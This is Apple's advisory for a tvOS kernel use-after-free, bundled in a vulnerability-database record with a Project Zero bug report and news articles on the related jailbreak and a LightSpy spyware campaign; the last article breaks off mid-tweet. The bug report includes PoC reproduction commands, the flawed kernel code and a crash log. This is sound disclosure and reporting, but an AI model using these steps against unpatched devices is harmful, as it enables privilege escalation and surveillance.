# About the security content of tvOS 12.4.1
This document describes the security content of tvOS 12.4.1
## About Apple security updates
For our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.
Apple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.
For more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.
## tvOS 12.4.1
Released August 26, 2019
**Kernel**
Available for: Apple TV 4K and Apple TV HD
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: A use after free issue was addressed with improved memory management.
CVE-2019-8605: Ned Williamson working with Google Project Zero
## Additional recognition
**Kernel**
We would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.
Entry updated September 17, 2019
Information about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.
Published Date: September 17, 2019
{"id": "APPLE:466BEDED69CFA24057993B0F7E611178", "vendorId": null, "type": "apple", "bulletinFamily": "software", "title": "About the security content of tvOS 12.4.1", "description": "# About the security content of tvOS 12.4.1\n\nThis document describes the security content of tvOS 12.4.1\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## tvOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 17, 2019\n", "published": "2019-08-26T00:00:00", "modified": "2019-08-26T00:00:00", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 9.3, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": true}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://support.apple.com/kb/HT210550", "reporter": "Apple", "references": ["https://support.apple.com/en-us/HT201222"], "cvelist": ["CVE-2019-8605"], "immutableFields": [], "lastseen": "2021-11-10T17:00:01", "viewCount": 5, "enchantments": {"dependencies": {"references": [{"type": "apple", "idList": ["APPLE:0B002AB816638E74B596AA40B55E1D50", "APPLE:1E452AB09BD018501C8ED03BD6811E97", "APPLE:94AE87E523DE7DA7141C877658AAFAAF", "APPLE:HT210122", "APPLE:HT210548", "APPLE:HT210549", "APPLE:HT210550"]}, {"type": "attackerkb", "idList": ["AKB:C3EBA984-247F-44E9-AD4B-260AFA76DD28"]}, {"type": "cve", "idList": ["CVE-2019-8605"]}, {"type": "exploitdb", "idList": ["EDB-ID:46892", "EDB-ID:47409"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:A949B008F38AEF72665598CB7C12FD89"]}, {"type": "githubexploit", "idList": ["44DF7B65-442B-571C-BC5C-3C4356DFE2BF"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:0A90A47458C0D2B6B85F5BC6C0105ECC", "GOOGLEPROJECTZERO:37170621F78D33B9DDE68A73E0A16294", "GOOGLEPROJECTZERO:484F15FB833183203B1090176F5B292A", "GOOGLEPROJECTZERO:AE1504011977EE818F4F94D9A070275A"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:762422C08BCD930748F1EED62A25716D"]}, {"type": "nessus", "idList": ["700667.PRM", "700713.PRM", "700719.PRM", "701155.PRM", "APPLETV_12_3.NASL", "APPLETV_12_4_1.NASL", "APPLE_IOS_123_CHECK.NBIN", "APPLE_IOS_1241_CHECK.NBIN", "MACOSX_SECUPD2019-003.NASL", "MACOS_10_14_5.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310814888", "OPENVAS:1361412562310815616"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:152993"]}, {"type": "thn", "idList": ["THN:38E80608368A67C138D1E4D8187D2AA3", "THN:4376782A3F009FEED68FDD2022A11EF5", "THN:754EDA3BD8060BD079B3DB44EE616405", "THN:79F83648DEAA2E305471E325D6B2DE48", "THN:BC46175420BE934D07B4CB081F495CCB", "THN:C19BDA30D2242223E7A434F1E4051E68"]}, {"type": "threatpost", "idList": ["THREATPOST:65CDAAFAA856DA03BD3115E8BC92F1A0", "THREATPOST:B8AF83007523DF3B48792EDBDB3DB079", "THREATPOST:CBFAA2319AF4281EC1DD5C4682601942", "THREATPOST:DCE54029E2039178B6F2685D0BF8C518", "THREATPOST:FF3CF3FA3B1ABB90E090DC157C18D35C"]}, {"type": "zdt", "idList": ["1337DAY-ID-32762"]}]}, "score": {"value": 0.2, "vector": "NONE"}, "backreferences": {"references": [{"type": "apple", "idList": ["APPLE:0B002AB816638E74B596AA40B55E1D50", "APPLE:1E452AB09BD018501C8ED03BD6811E97", "APPLE:94AE87E523DE7DA7141C877658AAFAAF", "APPLE:HT210122", "APPLE:HT210548", "APPLE:HT210549", "APPLE:HT210550"]}, {"type": "cve", "idList": ["CVE-2019-8605"]}, {"type": "exploitdb", "idList": ["EDB-ID:46892"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:A949B008F38AEF72665598CB7C12FD89"]}, {"type": "githubexploit", "idList": ["44DF7B65-442B-571C-BC5C-3C4356DFE2BF"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:0A90A47458C0D2B6B85F5BC6C0105ECC", "GOOGLEPROJECTZERO:37170621F78D33B9DDE68A73E0A16294", "GOOGLEPROJECTZERO:484F15FB833183203B1090176F5B292A"]}, {"type": "nessus", "idList": ["APPLETV_12_3.NASL", "APPLETV_12_4_1.NASL", "MACOSX_SECUPD2019-003.NASL", "MACOS_10_14_5.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310814888"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:152993"]}, {"type": "thn", "idList": ["THN:38E80608368A67C138D1E4D8187D2AA3", "THN:79F83648DEAA2E305471E325D6B2DE48", "THN:BC46175420BE934D07B4CB081F495CCB"]}, {"type": "threatpost", "idList": ["THREATPOST:B8AF83007523DF3B48792EDBDB3DB079", "THREATPOST:CBFAA2319AF4281EC1DD5C4682601942", "THREATPOST:DCE54029E2039178B6F2685D0BF8C518", "THREATPOST:FF3CF3FA3B1ABB90E090DC157C18D35C"]}, {"type": "zdt", "idList": ["1337DAY-ID-32762"]}]}, "exploitation": null, "affected_software": {"major_version": [{"name": "tvos", "version": 12}]}, "epss": [{"cve": "CVE-2019-8605", "epss": "0.001330000", "percentile": "0.467630000", "modified": "2023-03-19"}], "vulnersScore": 0.2}, "affectedSoftware": [{"version": "12.4.1", "operator": "lt", "name": "tvos"}], "_state": {"dependencies": 1659988328, "score": 1684016453, "affected_software_major_version": 1666695388, "epss": 1679323282}, "_internal": {"score_hash": "6616a745bec52fba2c52fe65b9818463"}}
{"packetstorm": [{"lastseen": "2019-05-24T12:45:04", "description": "", "cvss3": {}, "published": "2019-05-21T00:00:00", "type": "packetstorm", "title": "XNU Stale Pointer Use-After-Free", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2019-05-21T00:00:00", "id": "PACKETSTORM:152993", "href": "https://packetstormsecurity.com/files/152993/XNU-Stale-Pointer-Use-After-Free.html", "sourceData": "`XNU: Use-after-free due to stale pointer left by in6_pcbdetach \n \nRelated CVE Numbers: CVE-2019-8605Fixed-2019-May-13. \n \n \n# Reproduction \nRepros on 10.14.3 when run as root. It may need multiple tries to trigger. \n$ clang -o in6_selectsrc in6_selectsrc.cc \n$ while 1; do sudo ./in6_selectsrc; done \nres0: 3 \nres1: 0 \nres1.5: -1 // failure expected here \nres2: 0 \ndone \n... \n[crash] \n \n# Explanation \nThe following snippet is taken from in6_pcbdetach: \n``` \nvoid \nin6_pcbdetach(struct inpcb *inp) \n{ \n// ... \n\\tif (!(so->so_flags & SOF_PCBCLEARING)) { \n\\t\\tstruct ip_moptions *imo; \n\\t\\tstruct ip6_moptions *im6o; \n \n\\t\\tinp->inp_vflag = 0; \n\\t\\tif (inp->in6p_options != NULL) { \n\\t\\t\\tm_freem(inp->in6p_options); \n\\t\\t\\tinp->in6p_options = NULL; // <- good \n\\t\\t} \n\\t\\tip6_freepcbopts(inp->in6p_outputopts); // <- bad \n\\t\\tROUTE_RELEASE(&inp->in6p_route); \n\\t\\t// free IPv4 related resources in case of mapped addr \n\\t\\tif (inp->inp_options != NULL) { \n\\t\\t\\t(void) m_free(inp->inp_options); // <- good \n\\t\\t\\tinp->inp_options = NULL; \n\\t\\t} \n``` \n \nNotice that freed options must also be cleared so they are not accidentally reused. \nThis can happen when a socket is disconnected and reconnected without being destroyed. \nIn the inp->in6p_outputopts case, the options are freed but not cleared, so they can be \nused after they are freed. \n \nThis specific PoC requires root because I use raw sockets, but it's possible other socket \ntypes suffer from this same vulnerability. \n \n# Crash Log \npanic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers: \nCR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0 \nRAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000 \nRSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001 \nR8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000 \nR12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000 \nRFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010 \nFault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0 \n \nBacktrace (CPU 4), Frame : Return Address \n0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d \n0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153 \n0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa \n0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0 \n0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197 \n0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63 \n0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d \n0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0 \n0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114 \n0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75 \n0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284 \n0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f \n0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b \n0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16 \n \nBSD process name corresponding to current thread: in6_selectsrc \nBoot args: keepsyms=1 -v=1 \n \nMac OS version: \n18D109 \n \nThis bug is subject to a 90 day disclosure deadline. After 90 days elapse \nor a patch has been made broadly available (whichever is earlier), the bug \nreport will become visible to the public. \n \n \n \nFound by: nedwill@google.com \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/152993/GS20190522003815.txt"}], "threatpost": [{"lastseen": "2020-06-11T21:49:28", "description": "Apple has released an emergency patch fixing a kernel vulnerability \u2013 for the second time \u2013 after it was [accidentally unpatched](<https://threatpost.com/apple-ios-patch-blunder-iphones-jailbreaks/147519/>) in iOS 12.4.\n\nThe flaw ([CVE-2019-8605](<https://support.apple.com/en-us/HT210118>)), a use-after-free issue existing in the kernel, could enable a malicious application to execute arbitrary code with system privileges in up-to-date iOS devices. Worse, the flaw allows phones to be jailbroken \u2014 and a public jailbreak was released last week to take advantage of it on phones running the latest version of iOS.\n\n\u201cA malicious application may be able to execute arbitrary code with system privileges,\u201d according to Apple\u2019s [newest iOS patch](<https://support.apple.com/en-us/HT210549>), iOS 12.4.1, released on Monday. \u201cA use after free issue was addressed with improved memory management.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe release of public jailbreaks \u2014 a method to escape Apple\u2019s limitations on what apps and code can run on the iPhone \u2013 are atypical, especially for up-to-date phones. Jailbreaks are useful for those wanting to install custom code, add features or perform security research outside the purview of the Apple ecosystem \u2013 but can also expose phones to spyware and malware attacks.\n\nThe bug was initially discovered by Google Project Zero research Ned Williamson, who after the initial patch published an [exploit for iOS 12.2](<https://twitter.com/nedwilliamson/status/1149376365495373824?lang=en>), dubbed \u201cSockPuppet,\u201d that utilized the vulnerability to \u201cachieve the kernel_task port on iOS 12.2 on [the]iPhone 6S+.\u201d\n\nApple patched the vulnerability in a previous May update, but its most recent operating system update, iOS 12.4, accidentally unpatched the fix. Then, on Aug. 18 a hacker under the alias \u201cPwn20wnd\u201d [on Github](<https://github.com/pwn20wndstuff/Undecimus/releases>) released various fine-tuned jailbreaks for the latest version of iOS, based on SockPuppet.\n\n\u201cPwn20wnd,\u201d who was also credited in Apple\u2019s Monday update, on Twitter confirmed the patch.\n\n> I can confirm the exploit was patched in iOS 12.4.1 \u2013 \u2013 Stay on iOS 12.4!\n> \n> \u2014 Pwn20wnd is reviving 0-Days (@Pwn20wnd) [August 26, 2019](<https://twitter.com/Pwn20wnd/status/1166051972308324352?ref_src=twsrc%5Etfw>)\n\nApple did not respond to a request for comment from Threatpost.\n\nThe phone giant also released updates for [macOS Mojave and tvOS](<https://support.apple.com/en-us/HT201222>) addressing the kernel vulnerability.\n\n**_Interested in more on the internet of things (IoT)? Don\u2019t miss our free _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)**_, \u201cIoT: Implementing Security in a 5G World.\u201d Please join Threatpost senior editor Tara Seals and a panel of experts as they offer enterprises and other organizations insight about how to approach security for the next wave of IoT deployments, which will be enabled by the rollout of 5G networks worldwide. _****_[Click here to register.](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)_**\n", "cvss3": {}, "published": "2019-08-26T19:32:17", "type": "threatpost", "title": "Apple Fixes iOS Flaw That Opened iPhones to Jailbreaks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-26T19:32:17", "id": "THREATPOST:B8AF83007523DF3B48792EDBDB3DB079", "href": "https://threatpost.com/apple-fixes-ios-flaw-that-opened-iphones-to-jailbreaks/147717/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-03T21:41:32", "description": "A recently discovered, mass-targeted watering-hole campaign has been aiming at Apple iPhone users in Hong Kong \u2013 infecting website visitors with a newly developed custom surveillance malware. The bad code \u2013 the work of a new APT called \u201cTwoSail Junk\u201d \u2013 is delivered via a multistage exploit chain that targets iOS vulnerabilities in versions 12.1 and 12.2 of Apple\u2019s operating system, according to researchers.\n\nWatering-hole campaigns make use of malicious websites that lure visitors in with targeted content \u2013 cyberattackers often post links to that content on discussion boards and on social media to cast a wide net. When visitors click through to a malicious website, background code will then infect them with malware.\n\nIn this case, the campaign uses links posted on multiple forums that purport to lead to various news stories that would be of interest to Hong Kong residents, according to a pair of research notes from [Kaspersky](<https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/>) and [Trend Micro](<https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/>). The links lead to both newly created websites set up specifically for this campaign by the operators, as well as legitimate sites that have been compromised. In both cases, a hidden iframe is used to load and execute malicious code.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThat code contains exploits for known and patched Apple iOS vulnerabilities \u2013 and has an endgame of installing a custom, proprietary backdoor spyware, dubbed LightRiver by Kaspersky and lightSpy by Trend Micro.\n\nThe backdoor not only allows remote execution of shell commands, but it also contains a variety of espionage modules (researchers\u2019 names for the backdoor both come from the malware\u2019s module manager, which is called \u201clight\u201d).\n\nThe modules include functions for exfiltrating contacts, GPS location data, call records, logs of recent Wi-Fi hotspots that the phone has connected to, browser histories, SMS messages, and even the iOS keychain with stored passwords for apps and websites. It also gathers hardware fingerprinting information and data about the user\u2019s local Wi-Fi network and local network IP address.\n\nAnd, it targets messenger applications, like Telegram, QQ and WeChat, to lift correspondence from the victims.\n\nDespite the deep level of surveillance afforded by the malware, researchers said that the campaign doesn\u2019t appear to be a targeted effort, apart from focusing on Hong Kong residents (50 percent of whom use iPhones).\n\n\u201cThis aims to compromise as many mobile devices as possible for device-backdooring and surveillance,\u201d according to Trend Micro.\n\n\u201cBoth ours and previous reporting from others have documented TwoSail Junk\u2019s less precise and broad use of forum posts and replies,\u201d Kaspersky researchers, who identified the threat actor as the TwoSail Junk APT, noted. However, researchers noted that there could be a dissident aspect of the campaign: \u201cThese forum posts direct individuals frequenting these sites to pages hosting iFrames served from their exploit servers. We add Telegram channels and Instagram posts to the list of communication channels abused by these attackers. These sites and communication mediums are known to be frequented by some activist groups.\u201d\n\n**Timeline**\n\nThe attacks were first identified on January 10 by Kaspersky, and began in earnest, via a massive distribution campaign, on February 18. The attacks have continued into March: Trend Micro last week spotted related forum posts that pretended to link to a schedule for protests in Hong Kong.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/26135259/lightspy-deployment.png>)\n\nSource: Kaspersky\n\nKaspersky meanwhile has observed the APT tinkering with the code on an ongoing basis, modifying some exploit chain components on both February 7 and on March 3 and extending the number of supported devices. Now, the exploits used targets a variety of iPhone models, from the iPhone 6S up to the iPhone X.\n\n\u201cThe actor was actively changing implant components,\u201d according to the Kaspersky analysis, which noted that the first observed version of one of the exploits resembled a proof of concept (PoC). \u201cBased on our observations of these changes over a relatively short time frame, we can assess that the actor implemented a fairly agile development process, with time seemingly more important than stealthiness or quality.\u201d\n\n**The Watering Holes**\n\nSome of the URLs used in the campaign lead to a malicious website created by the attacker. Kaspersky noted that the initial watering hole site (hxxps://appledaily.googlephoto[.]vip/news[.]html) seen in January was designed to mimic a well-known Hong Kong-based newspaper called Apple Daily. This was done by simply copying HTML content from the original, researchers said.\n\nThe site in turn contained three iframes that pointed to different sites, according to the analyses.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/26135450/lightspy-landing-page.png>)\n\nWatering-hole landing page (click to enlarge). Source: Kaspersky.\n\n\u201cStarting on February 18, the actors began utilizing a series of invisible iframes to redirect potential victims to the exploit site as well as the intended legitimate news site from the lure,\u201d Kaspersky researchers wrote.\n\nTrend Micro added: \u201cThe only visible iframe leads to a legitimate news site, which makes people believe they are visiting the said site. One invisible iframe was used for website analytics; the other led to a site hosting the main script of the iOS exploits.\u201d\n\nLinks to these malicious sites were posted on four different forums, in posts that include the headline of a given news story, accompanying images and a link to the fake news site.\n\n\u201cThe topics used as lures were either sex-related, clickbait-type headlines or news related to the COVID-19 disease,\u201d wrote researchers at Trend Micro. \u201cWe do not believe that these topics were targeted at any users specifically; instead they targeted the users of the sites as a whole.\u201d\n\nIn other cases, a legitimate site was copied and injected with a malicious iframe.\n\n\u201cThere are many techniques that attackers can use to compromise websites \u2013 SQL injection, cross-site scripting (XSS) and social engineering techniques are the most commonly used,\u201d Trend Micro researcher William Gamazo Sanchez told Threatpost. \u201cHowever, for this particular attack we did not focus on techniques they used against the websites. We have reasons to believe they would employ several techniques, though.\u201d\n\n**The Exploit Chain**\n\nOnce a visitor hits the malicious watering-hole site, the full exploit chain involves a silently patched Safari bug (which works on multiple recent iOS versions) and a customized kernel exploit, researchers said.\n\nThe silently patched Safari bug does not have an associated CVE, according to Trend Micro, but its exploitation leads to the exploitation of an [infamous, known kernel vulnerability](<https://threatpost.com/apple-fixes-ios-flaw-that-opened-iphones-to-jailbreaks/147717/>) used to gain root privileges.\n\nThe flaw ([CVE-2019-8605](<https://support.apple.com/en-us/HT210118>)), a use-after-free issue existing in the kernel, could enable a malicious application to execute arbitrary code with system privileges. The flaw allows phones to be jailbroken, in essence. Jailbreaks are useful for those wanting to install custom code, add features or perform security research outside the purview of the Apple ecosystem \u2013 but can also expose phones to spyware and malware attacks.\n\nWhen the kernel exploit (jailbreak) is triggered, a function called payload.dylib proceeds to download the multiple data exfiltration modules outlined before; as well as functions associated with startup and loading, and instructions for connecting to the hardcoded location of the command-and-control (C2) server.\n\nThe aforementioned \u201clight\u201d function serves as the main control for the malware, and is capable of loading and updating the other modules, according to the research.\n\n\u201c[The malware] is a custom job that is very well-designed with a modular architecture,\u201d Gamazo Sanchez told Threatpost. \u201cMore sophisticated than the average malware variant, [especially when it comes to] the level of sophistication to exfiltrate data. Most notably, the actors have clear targets in mind and designed a mechanism and distribution pattern to reach these targets based on their computing habits, to ensure they will not be noticed immediately.\u201d\n\niPhone users are protected from the malware if they have updated to the latest iOS version.\n\n**Links to Android Campaign**\n\nThe iOS effort appears to be connected to a previous, similar 2019 campaign aimed at Android users, according to researchers at both firms. In that offensive, links to malicious apps were found on various public Hong Kong-related Telegram channels.\n\nThat Android malware family was first advertised as a calendar app containing protest schedules in Hong Kong. It was disseminated via the \u201cwinuxhk\u201d and \u201cbrothersisterfacebookclub\u201d Telegram channels and Instagram posts in late November 2019, Kaspersky researchers noted.\n\nThe message lure in Chinese translated to: \u201cThe Hong Kong People Calendar APP is online ~~~ Follow the latest Hong Kong Democracy and Freedom Movement. Click to download and support the frontline. Currently only Android version is available.\u201d\n\nOnce installed, the rogue app made requests for sensitive permissions, and set about harvesting and exfiltrating contacts, text messages, the user\u2019s location and the names of stored files, researchers said.\n\nThe new iOS campaign and the older Android campaign are linked via their infrastructure, according to the Trend Micro analysis: The Android download and C2 servers used the same domain name (hkrevolution[.]club) as one of the watering holes used by the iOS component.\n\n**Atrribution**\n\nWhile Kaspersky is calling the APT group behind the effort \u201cTwoSail Junk,\u201d researchers there said that the operators are likely tied to other, well-known threat actors.\n\n\u201cWe have hints from known backdoor callbacks to infrastructure about clustering this campaign with previous activity,\u201d according to the firm\u2019s analysis. \u201cAnd we are working with colleagues to tie LightRiver with prior activity from a long running Chinese-speaking APT group, previously reported on as Spring Dragon/Lotus Blossom/Billbug(Thrip), known for their Lotus Elise and Evora backdoor malware.\u201d\n\nFor instance, further technical analysis by Kaspersky of the previous Android campaign showed there to be two subzones of the URL used for serving the malicious apps.\n\n\u201cResolving for C2 resources, we worked with partners to pivot into a handful of \u201cevora\u201d malware samples\u2026that [also] use poorgoddaay[.]com subzones for their C2,\u201d Kaspersky noted. \u201cThese new evora backdoors are 99 percent similar as rated by our Kaspersky Threat Attribution Engine to evora backdoors previously deployed by SpringDragon.\u201d\n\nThe researchers said they also saw other evora malware samples calling back to these same subnets while targeting specific organizations in Hong Kong \u2013 lending further credence to the idea that TwoSail Junk is affiliated with SpringDragon.\n\n\u201cThis particular framework and infrastructure is an interesting example of an agile approach to developing and deploying surveillance framework in Southeast Asia,\u201d according to the Kaspersky analysis. \u201cThis innovative approach is something we have seen before from SpringDragon, and LightRiver targeting geolocation at least falls within previous regional targeting of SpringDragon/LotusBlossom/Billbug APT, as does infrastructure and evora backdoor use.\u201d\n\nFor its part, Trend Micro researchers agree that the evidence points to a sophisticated attacker.\n\n\u201cIt is safe to say this is not a financially motivated campaign,\u201d Gamazo Sanchez told Threatpost. \u201cThere are indicators that this form of attack can be considered sophisticated: Attacks targeting iOS is relatively uncommon over the years given the stringent measures built in in these devices; uses of \u2018silent patches\u2019 makes it difficult to find and track known and addressed bugs; an added layer of sophistication is seen with the customization attackers used to match the model and iOS version of the target devices.\u201d\n\nHe added that while the campaign, which Trend Micro calls Operation Poison News, is focused on Hong Kong for now, investigations are ongoing into the operators\u2019 future plans. Kaspersky also said that there\u2019s evidence that other versions of the backdoor are under development.\n\n\u201cThe userConfig variable indicates other possible platforms that may have been targeted by the same actors, such as Linux, Windows and routers,\u201d according to the analysis.\n\n[](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-03-26T17:49:40", "type": "threatpost", "title": "Emerging APT Mounts Mass iPhone Surveillance Campaign", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2020-03-26T17:49:40", "id": "THREATPOST:DCE54029E2039178B6F2685D0BF8C518", "href": "https://threatpost.com/emerging-apt-mounts-mass-iphone-surveillance-campaign/154192/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-04T22:06:26", "description": "Apple\u2019s most recent operating system update, iOS 12.4, accidentally unpatched a fix that had been issued in a previous update \u2014 leaving devices vulnerable to code execution and privilege-escalation attacks. The flaw also allows phones to be jailbroken \u2014 and a public jailbreak has just been released to take advantage of it on phones running the latest version of iOS.\n\nThe blunder, first reported by [Motherboard](<https://www.vice.com/en_us/article/qvgp77/hacker-releases-first-public-iphone-jailbreak-in-years>), means that Apple devices that are fully updated to the most recent iOS version are open to a vulnerability that had previously been [patched in May](<https://threatpost.com/apple-patches-intel-side-channel-ios-macos/144743/>) as part of the iOS 12.3 update.\n\nThe flaw, ([CVE-2019-8605](<https://support.apple.com/en-us/HT210118>)), a use-after-free issue existing in the kernel, could enable a malicious application to execute arbitrary code with system privileges in iOS devices, including the iPhone 5s and later, iPad Air and later, and the iPod touch sixth generation.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe bug was initially discovered by Google Project Zero research Ned Williamson, who after the initial patch published an [exploit for iOS 12.2](<https://twitter.com/nedwilliamson/status/1149376365495373824?lang=en>), dubbed \u201cSockPuppet,\u201d that utilized the vulnerability to \u201cachieve the kernel_task port on iOS 12.2 on [the]iPhone 6S+.\u201d\n\nWhile Williamson\u2019s exploit offered the ability to jailbreak in iOS 12.2, on Aug. 18 a hacker under the alias \u201cPwn20wnd\u201d [on Github](<https://github.com/pwn20wndstuff/Undecimus/releases>) released various fine-tuned jailbreaks for the latest version of iOS, based on SockPuppet.\n\nAfter its release, iPhone users [flocked to Twitter](<https://twitter.com/search?q=iPhone%20jailbreak&src=typed_query>) to show their successful attempts at jailbreaking their own phones \u2014 a method to escape Apple\u2019s limitations on what apps and code can run on the iPhone. It\u2019s useful for those wanting to install custom code, add features or perform security research outside the purview of the Apple ecosystem.\n\n\u201cYou will have to upgrade to iOS 12.4 if you are on iOS 12.3 to use the latest jailbreak \u2013 Enjoy,\u201d said Pwn20wnd on Twitter.\n\n> Security researchers: Are you waiting for Apple's research iPhone program? You can save a lot of time by picking one up at an Apple Store right now and running the [#unc0ver](<https://twitter.com/hashtag/unc0ver?src=hash&ref_src=twsrc%5Etfw>) [#jailbreak](<https://twitter.com/hashtag/jailbreak?src=hash&ref_src=twsrc%5Etfw>) on it.\n> \n> \u2014 Pwn20wnd is reviving 0-Days (@Pwn20wnd) [August 19, 